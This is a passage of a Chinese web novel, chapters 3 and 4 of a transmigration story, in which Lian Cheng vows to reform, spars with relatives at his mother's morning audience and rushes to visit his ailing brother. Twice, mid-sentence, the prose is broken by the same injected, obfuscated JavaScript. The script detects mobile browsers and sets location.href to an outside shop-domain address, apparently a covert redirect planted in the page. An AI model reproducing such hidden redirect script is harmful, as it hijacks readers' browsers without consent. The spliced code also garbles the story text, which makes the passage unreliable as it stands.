《我是奸相他哥[穿书]》 3.第三回 回到了房里,琼花收了两把伞,追进来,气道:“哥儿你何必给他们那个脸,谁知道连岫声送来的这药膏子是不是掺了毒,用了万一流脓生疮,他们落个好名声,我们苦主找谁说理去?” 连酲冲她笑,“别气,我有打算。” 琼花和虎丘一齐看着他。 琼花这时候也不骂一丘那一院的人了,她倚着榻边坐下,“哥儿,这些日子咱们还是在家安分些,往日里都没出什么大事,这回却是惹了不小的祸,阖家都不高兴,明儿个家老爷和夫人指定还要问咱们的罪,我们可得小心些,不可出去瞎胡闹。” “琼花姐姐说得对。”虎丘说。 “我没想胡闹。”连酲猜到这两人还以为他是原身那性子,要换个法子找连岫声麻烦。 实则不然,连酲道:“我打算,发愤图强,振兴门楣,光宗耀祖,青史留名!” 琼花满脸骇然,张口结舌说不出话来,过了半晌,她伸出手,放在自家哥儿的额上,“咦,没发烧,怎的说出这般胡话?” 连酲没指望他们当真,裹着毯子,“等彤雪姐姐回来了我们再一起详谈。” 虎丘就指着那小几案上的檀木盒子,“那药膏如何办?” 琼花起身便道:“放着碍眼,我这就把它丢了去。” “欸,别丢了,”连酲拉住她,“让我试试。” “万万不可!”虎丘也上来拦,“我们两院素来不和,他们送来的一应物什,都不能用。” 连酲托着面颊,“那我可问你,此前,连岫声可真害过谁的性命?” 虎丘一怔,摇头说不曾。 “那不就得了,给我。”连酲摊手。 虎丘咬了一咬牙,“让我来替哥儿上药,若真出了什么事,我在地下也能陪着哥儿,扛着哥儿过奈何桥。” “犯不上,咱都自己活自己,谁也没欠谁。”连酲在心底里想。 他不喜欢天子脚下百姓命如草芥那一套,所以忠诚在他这里是褒义词,忠心不是。 上过药后,彤雪端着宵夜回来了,热腾腾的吃食摆了一几案,不止彤雪前边说的那两样,还有些酸辣开胃的小碟子菜和一碗洒了花露放木甑子里蒸出来的乳酪。 连酲快被香晕了,对方还在摆弄着,口中说:“这做乳酪用的牛是咱家自养的,早上送来,晚上就做成了,比外头买的味道好,刚去厨房,守夜的陈婆子竟还想用两个饼子搪塞,我便拿了六哥儿出来,六哥儿可没说不给咱们蓬莱阁吃食,你们是没瞧见,那陈婆子脸都被气浑了。” “哥儿你趁热吃。” 连酲饭量并不顶大,何况前头还有几个饼子和一壶水,这会儿饼子在肚子里被泡发了,再香他也吃不完,他没吃几口,都分给了丫鬟小厮,幸好原身跟他们几个相处大概本来就不是很见外,他们也没做什么退却,收下吃了,免了连酲又要学古人一番做作功夫。 吃过了宵夜,琼花主动问:“哥儿你之前说的新打算,究竟是什么?” 连酲品着清茶,“我以后预备做个正经人了。” 琼花:“哥儿哪里不正经?莫不又是那起子碎嘴子在你背后嚼舌,让你晓得了,你放在了心上?” 虎丘也一个劲点头,满心觉得自家哥儿哪里都好,“哥儿听他们说的做甚,或是哥儿你告诉我,是哪个老猪狗污了你的耳朵,我打夜去把他揪出来,剥了他的皮。” 就连理智沉稳的彤雪也跟迷了心窍似的,“哥儿休胡言乱语,妄自菲薄便更使人瞧不起,哥儿你就是最最好的。” 他见这几个人都长了个连酲脑袋,只能换了个说法,“今晚我想过了,我也想挣个好前程,做个好儿子,好兄长,再则,还能给你们在其他院跟前挣个脸面,不至于每回掰扯都因我而落了下乘……” “哥儿!”彤雪满眼是泪地跪了下来,“你怎如此自苦,夫人领我回来时,我跟琼花妹妹两个人只有一件袄儿轮着穿,若不是夫人,我们如今早已没命,不然就在哪个窑子里泡着,我就是为哥死我也甘心,不肖哥儿你为我们这些个奴才做些什么。” 琼花也跟着跪下来说:“哥儿你尽管放心,有我在,我们蓬莱阁便是以一敌万,都不会输了别人去!” 虎丘跟她们俩跪成一排,说我也是我也是。 连酲听得耳朵疼,他让他们先起来,彻底没招,“睡觉吧,以后再议。” 铺床褥的工作一直是彤雪负责,今日虎丘格外提醒彤雪用厚褥子,说哥儿晓得怕冷了,彤雪颇感意外,但也没多想,因为他们的哥儿惯来就是想一出是一出,就是刚刚说往后要如何如何,她也没当真,但乐意附和着,反正哥儿畅快就好,连府全家死了都不打紧。 - 雨缠绵地下了一夜,到了清晨,院里还水雾蒙蒙的。 连府下人早在天没亮就起来活动了,烧水的烧水,洒扫的洒扫,连府家风不严,下人做工时聊上几句也不碍事,但也分院,有的院就不可以,抓到下人放松,便是两个耳光两根棍子,打出去了事。 连酲醒来,坐在镜台前任由琼花给自己束发,想必是古代人的日常生活中没什么科技与狠活,加上能看出原身是个爱惜自己的,镜子里青年那一头漆黑青丝,放到现代可以给它专门买一份保险了。 另外,连酲还在打量着镜子里的原身,和他本人的脸区别不大,但原身没吃过苦,连酲从小苦到大,所以原身看起来更芳华明艳,加上又是富家公子哥,生养都是最好的条件,也难怪野史里对着原身夸赞个不停。 “哥儿今日想戴哪个冠?还有网巾,我一道拿了。”琼花说。 “随便吧。”啥啊啥啊,连酲不懂。 原身年方二十,几个月前就举行了弱冠礼,连家夫人他亲娘给他做的字——敏孜,取聪明勤奋之意。 可惜原身两个都不占,连酲恰好也不占。 琼花很快取来了一顶青玉玉兰冠和一坨黑不溜秋的东西,连酲随她装点,直至扰人的头发都被束了起来,冠一戴簪一插,接着将手中网巾盖在上头,就着网巾圈儿,将网巾固定,整个人登时看着就清爽又利落。 彤雪从外头推门进来,“今早要去给夫人请安,别给哥儿穿太出挑,免得惹夫人骂。” 琼花便没看那些太惹眼的花衣裳,拿了件云纹金丝串底绢纱直裰,拿了件元宝葫芦纹蓝缎道袍,就连束腰的绦儿都没得一点可挑,拿去给哥儿之前,琼花心里还直打鼓,哥儿一贯爱漂亮,这种衣裳在他眼中还不如破烂,虽然只这一身,就可换来普通人家三年的口粮! 可没想到哥儿什么也没说就穿上了身,琼花忙把他的扇子坠子挂在腰上。 “有点冷。”连酲嘀咕了一句。 “那我再去取件披风来。” 系上了披风,连酲果真觉着不那么冷了,不仅是不冷,今早一起来,他屁股也不痛了。 看来连岫声那小子现在还没黑化,还知道心疼自家老哥。 朽木可雕,朽木可雕。 于是连酲便觉得未来形势一片大好,自己已然踏在了一条欣欣向荣繁花似锦的光明大道上。 大夫人张氏所在的兰园此刻已经坐了不少些人,又走了不少些人,留下来的,要么是有闲工夫的,要么是想摸眼儿敲热闹的,堂里的两个丫头已经给死赖着不走的两个姨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17197788|197094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘添了两次水,她们竟还没有要走的意思,还有那向来不露人前的连家姑姐,这回也来了,另外还有两个姐儿…… 两个丫鬟在后头掐着手心,不停看着帘子外头,想着,三哥儿今日可一定得来,不然这群人回去了还不消怎么笑话夫人养了个不成器还没骨头的缩头小王八。 “青竹,来,再给我来添个水,夫人院里别的不说,这口茶我是真乐意吃!”连家的二姨娘最是爱穿金戴银的,镶满了金叶子的头髻,重云子贴面也是金的,挑心更是一朵大金花,她有些微胖,瞧着也最是豁达不过,不过这也是因为她的出身见地使她没办法细微起来,连府里的姨娘都端着身份,不怎么与她作对。 青竹给她添了水,旁边的五姨娘也开口了。 她是个清秀暖人的小妇人,不像二姨娘那么张扬,开口却刺,“夫人,你可知道,昨儿个三哥儿在六哥儿手里受了大罪,那可是笞尻,一家子兄弟姊妹,他怎能对兄长如此无礼呢?” 二姨娘哼了一声,“到底是年轻气盛,他可知他如此行事,若是被御史告到御前,那就是给我们整个连家招祸。” “我们连家可好不容易出了这么个成器的,唉。” 张氏在上头不施粉黛,一脸病容,她手腕靠着桌子,“你们是想说,因着我对敏孜管教不严,连累了六哥儿,连累了连家?” “哎呀,我们可没说。” “敏孜此次的确莽撞了,”坐在角落里的连家姑姐开了口,她沉着脸,“嫂嫂,我知你是不爱管家中庶务,但敏孜是嫡子,你好歹说上一说,你不是不知,他向来不把我们这些长辈放在眼中。若是没有大哥儿,他便是嫡长子,他的一言一行,事关连家荣辱名声,这回犯了这等丢人大事,我哥哥、大哥儿还有六哥儿少不得要四处使钱费物,昨夜只不过打了他两下,他便躲了起来不见人,连你这个亲生母亲都不管了,我们连家功勋之臣,我父亲配享太庙,怎的出了他这般……” “哪般?”清润明亮的男声从外头传进来,丫鬟打起帘子,面若桃李的公子微低着头,走了进来。 他长得是好看的,万里挑一的好看,在兰园这死气沉沉的院子里,就像一枝从枯败兰草叶里伸出来的花蕊儿,堂里都因着他显得亮堂了些。 连酲没看屋里眼光躲闪的其他人,径直走到厅堂中间,给上头的张氏行了礼,不卑不亢,“给母亲问安。” 张氏一怔,偏头把眼泪咽了下去,才勉强开口,“我早让你多穿些,你不听,今日怎又听了?” “昨夜孩儿做了个梦,梦见一群乌鸦几哇乱叫,要从树上下来啄我,今早我便让琼花给我找些厚衣裳,免得真被乌鸦给啄了,没成想,这一路过来,倒还真碰见了不少乌鸦围着这兰园叫,看来我这身衣裳是穿对了。”连酲不急不缓地说完,微微地笑了。 张氏被引得笑,“油滑嘴儿,再给你二娘六娘还有你大姑问个安。” 连酲没多话,他转了个身,从原身的记忆里寻摸着,先走到了那个金光闪闪的妇人面前,行礼,“二娘安,二娘吃多了兰园里的茶,怕是中午晚上都不用再吃饭了,不过依我看,二娘少吃这两顿饭,对身体怕是好处更多些,二娘,你怎不笑?” 他又走到了六姨娘面前,再度行礼,“六娘瞧着清减,许是被娘家舅子卖了屋子换赌债给气着了,可人是铁饭是钢,您还是得多多顾着自个儿身体才是,莫让晚辈忧心。” 最后他才到了大姑跟前,他行礼不起,双眼狡黠,“大姑,侄儿有点想姑丈了,晚上我们姑侄叙上一叙,可好?” 早已经找到下一春却谁也没告知的连家姑姐连碧云,脸都憋紫了。 4.第四回 连碧云丈夫是个痨鬼,去世前与了她一封和离书,她约莫一年前带着两个孩儿回了连家,夫家那边本身是不同意血缘外流,只不过连碧云一头撞在夫家门前红柱上头破血流,今上怜她慈母心,批了道旨意下来,许她带着孩子走。 这不过是一个跟原身戏份差不多的配角,但连酲却记得清楚,原因是这个连碧云在最后连家被抄杀时,故技重施,想让两个孩儿回去夫家,可这次今上却没答应,说:连家族人,一个不留。 “那个死痨鬼,有何可想的,”连碧云胡乱剥着指甲,看向上头的张氏,“嫂嫂,上回我给你提的那几个人家,你可想过了?” 连酲直起身,什么人家? 张氏的声音响起,分明是婉拒,“敏孜如今身无功名,性子好玩,莫耽误别人姑娘家,亲事先不急。” 连酲已经反应了过来,合着跟古代长辈跟现代的一样讨厌,喜欢催婚。 “你可问过敏孜的意见?” “敏孜,你过来。”张氏用手巾儿唤他。 平日原身看也不看这些章法,他喜欢红粉佳人,漂亮的姨娘他乐意理睬,陪上几句话,可张氏病病歪歪,挨着了就是一身陈年垢药味儿,话也讲得不中听,原身通常一扭身就跑了。 连酲却跑了过去,倚着对方腿便坐个到了地上,倒吓了张氏一跳,张氏推了下他的额头,给青竹使了眼色,青竹转头去了后面,再出来时,抱着一个厚厚的毛毡子,“哥儿,地上凉,我给你铺则个你方坐。” 张氏搂着孩儿的背,“你大姑说的话,你可听得?你若有意,母亲这便帮你去相看。” 连酲把头摇成了拨浪鼓,他趴在张氏的膝上,“母亲方才说得不错,孩儿如今一无功名,二无定性,哪家妹妹若现在跟了我,怕是有得苦头吃,不若等来日我蟒袍加身,再谈婚嫁之事,如何?” 张氏有话要说,又被连酲堵了,“明王以孝治天下,母亲心劳病重,孩儿若只顾自身家业,便是德行有亏,再者,无念尔祖,聿修厥德,母亲放心,孩儿自有一条路走得出来。” 堂里都静了,谁也没想到这连三哥儿能说出这样一番话来。 张氏又哭又笑,“碧云,你可听见了?”、 连碧云快气死了,起了身,“嫂嫂教子有方,我院里还有事,先回去了。” 二姨娘和六姨娘很快也起身告了辞。 两个姐儿还在,小些的那个说:“母亲,这梅干好吃,可还有?” 青竹带着两个姐儿去打包,堂里便空了,只剩下另一个收拾茶碗的丫鬟秋芳。 张氏正了面色,推着连酲,指望他起来,正经同自己说话,却没想这个哥儿跟那没骨头似的黏在了自己膝上,推也推不开,她笑骂,“你今儿是怎么了?” 连酲叹了口气,“我昨晚做了个梦。” “一晚上不睡觉,尽做梦去了,往常你也说爱做梦,可又是梦见那吃人树妖了?” 连酲垂眼沉默了一下,表情隐匿得很好,“倒不是树妖,是昨日在祠堂,我梦见了观音娘娘,她要点化我,让我不可再虚度光阴,我醒来了,竟真觉神清气爽,耳聪目明。” 张氏却不信,她细细看着自家孩儿,“那你说说看,那梦里,观音娘娘是个什么模样?” 连酲点到即止,不耐烦撇嘴,“自是观音娘娘的样儿,比父亲这一屋子姨娘要好看,母亲你问这么多作甚,我还能空口诓你不成?” 说着,他站了起来,也不做礼,甩开袖子,“母亲不信我,自是不喜欢我,这兰园我以后不来了。” 他赌气似的要走,秋芳端着两套茶碗忙拦下,“哥儿好大的气性,夫人多问了两句,得罪了你,我来替夫人向哥儿赔个不是。” “秋芳姐姐一味只帮着母亲训我。”连酲表现够了,低头看着对方手里的两套茶碗,说是茶,但更像奶茶,还像粥,他有点饿了,“姐姐我还没用早膳呢,这茶我可吃得?” 听这娇养的哥儿竟是没用膳空着肚子来的,一院的人都忙了起来。 张氏真动了气,斥他晚上不睡早上不起,反正就是一些连酲在福利院里也常听的话。 连酲装作没听见,心里却是暖的,在现代,他没有妈,摸爬滚打稀里糊涂地长大,平时放寒暑假,别的同学有父母来接,他没有,他从旁边偷看,写父母之爱的作文时,就照着那画面写,一写就得高分。 他没想到,他梦寐以求的,能因为穿书而得到,他想,原身既然是跪死在了祠堂里,那这一大家子,他的父母兄弟,他自会替他照应好,不白受这些情。 - 原身几乎从不在张氏这里用膳,母子俩连照面都不常打,这回连酲留下来用膳,一向节俭不铺张的张氏破天荒地让厨房弄了一大桌子的吃食——翠玉似的鸭汁白菜和撒拌和菜作配,似春卷似的麻腻饼子和肉臊子面是主食,另外还有切片的酿肚子作凉菜,另还有几碗豆蔻甘草橙子之类做的养生茶,免得哥儿吃了积食。 连酲吃什么都觉得好吃,但量太大了,他让张氏以后别做这么多,他以后又不是都不来了。 张氏用手巾儿给他擦着嘴,“秋芳训你,你以后还肯来?” “秋芳姐姐是你的贴身丫鬟,她训我就是你训我,我还能记母亲的仇?” 张氏本身聪慧,但作为母亲,她一时也糊涂了,看着大口吃喝的孩儿,满心认为是观音娘娘慈心,当真入梦点化了他。 吃用得差不多了,张氏才开口和他聊闲。 “昨夜岫声打你可狠,但我看你今日还活泼,许是没动真手,他还是疼你这个哥哥的。” 听到这个,连酲就屁股疼,他差点把口里的茶喷出来。 “他也是为了家里好。”连酲咬着牙帮对方说话。 张氏欣慰道:“你晓得便好,这次亏得你父亲与茂君周旋,否则你就是要被拖去打板子的,另外,阁老对夏左侍郎青睐有加,你父亲与茂君便罢了,岫声的仕途许会受影响,如今家里都指着岫声往后位极人臣,给家里光荣,敏孜,这些日子,家里人对你多有不满,指不定还会闹到你院里去,你要气不过,便来母亲这儿先住上一段日子。” 连酲生怕错过什么自己不知道的剧情细节,认真地听完后,才道:“母亲当我三岁小孩不成,这点事我还应付不了?” 张氏用不信任的目光看着连酲。 “那你今日可会去找岫声闹?” “母亲当我什么人?街上宵小恶霸?” “那不错,”张氏召来青竹,青竹端着两大包不知道什么玩意的东西放到旁边的桌案上,张氏说,“岫声病了好几日,你带上这些补物,且去看看他,说是我与他的。” 连酲捧着茶,想了想,说:“这是作为兄长应该做的。” 张氏又被他逗笑,“还兄长 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17204842|197094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你瞧瞧你,哪有个兄长样?” 这会,张氏才注意到连酲的穿着,颇为意外,“你今日穿得还素净,我早便同你说了,你的那些衫儿帽儿,都像登台唱戏的,你是正生啊还是花旦啊?城里名角儿也没你能现,你总不要去学,像今日这样穿便很好。” 连酲只顾点头。 秋芳端着一碗热汤药来,连酲还以为又是给自己的,双手去接。 秋芳赶紧撇开,“哥儿,这是夫人的药。” 连酲蹙了下眉,张氏身体倒不是一直不好,但书里也没说张氏以前是个什么样的光景,反正到死都是个病秧子,且在书的前半段就活活病死了,想到这里,连酲觉得有些不舍得,“这药吃了没用,明儿我去寻个好郎中。” “我这是老毛病了,不打紧,”张氏说,“有这汤药吊着命,许也能活得长。” “母亲休管,你瞧着罢,孩儿定能想到办法给你医好,重返二八。” 张氏笑个不停,使秋芳把这个油滑嘴儿赶出了门去,秋芳把两包补物给到彤雪手上,说了熬煮法子,然后看着连酲道:“哥儿明日可还来?” 连酲站在台阶下,“来的。” “可日日来?” “日日来。” 秋芳露出笑,“那哥儿就不必去寻郎中,哥儿就是夫人的华佗呢。” 连酲怔了怔,秋芳已经回去了,他转身,虎丘和彤雪也跟着他。 可怜天下慈母心,连酲心想,张氏久病不治,说不定还真是因为原身的疏远冷漠,古代人本来就很容易动不动心病郁积,以至郁郁而终——张氏死前应该写了不少诗。 白日里的连府比昨日夜里看到的要清楚撼人,亭榭楼台,小桥曲径,廊庑重檐,室庐阁轩,跻身其中,恍觉仙境。已临近冬日,这院挨着院照旧绿树成荫,竹影千重,个别天地植成片的腊梅,路过的几个池塘里养着鱼,养着龟,碰见的丫鬟穿着各自院里的缎子衣裳,望见三哥儿,没有一个能表情平常地行礼走开。 连酲并不着急,边走边看,他行走于山石树影之间,着粉则白施朱则赤,眉如翠羽,肌白如雪,腰如束素,齿如含贝,试问,谁看了这仙儿,能不失神? 连酲自己却不觉着,他走到桥上,背着手,本想赋诗一首,可大概是刚刚在张氏院子里吃了太多碳水,他憋出一个“好啊真是好”,又带着虎丘彤雪悠悠走下了桥。 “哥儿!”虎丘陡然出声,“你看那是谁?” 连酲朝着虎丘手指的方向看去,远处长廊下,连岫声的满财正领着一个老头子疾步而行。 “咦,那不是宋郎中吗?听说他只看疑难杂症命不久矣之人?” “夫人刚刚说六哥儿病了,这肯定是去给六哥儿瞧病的。” 连酲拎着袍子便跑,“走,我们瞧瞧去。” 虎丘一个漂移,拦在连酲前头了,“哥儿去做甚?刚才在兰园我便要说,夫人这补物我等奴才去送,不需哥儿去,免得沾上病气。” “哎,话不能这么说,”连酲把虎丘推开,跑起来了,“那到底是我弟弟啊,亲弟弟啊!” 他心中却想着,这奸臣要是死在了今天,好像也不错,不仅能一报打屁股之仇,也免了以后抄家之忧。 连酲已经忍不住笑了,却还是要装作忧患得不得了,他一路洒泪,“岫声,岫声,你且等等为兄!为兄这便来送你最后一程!”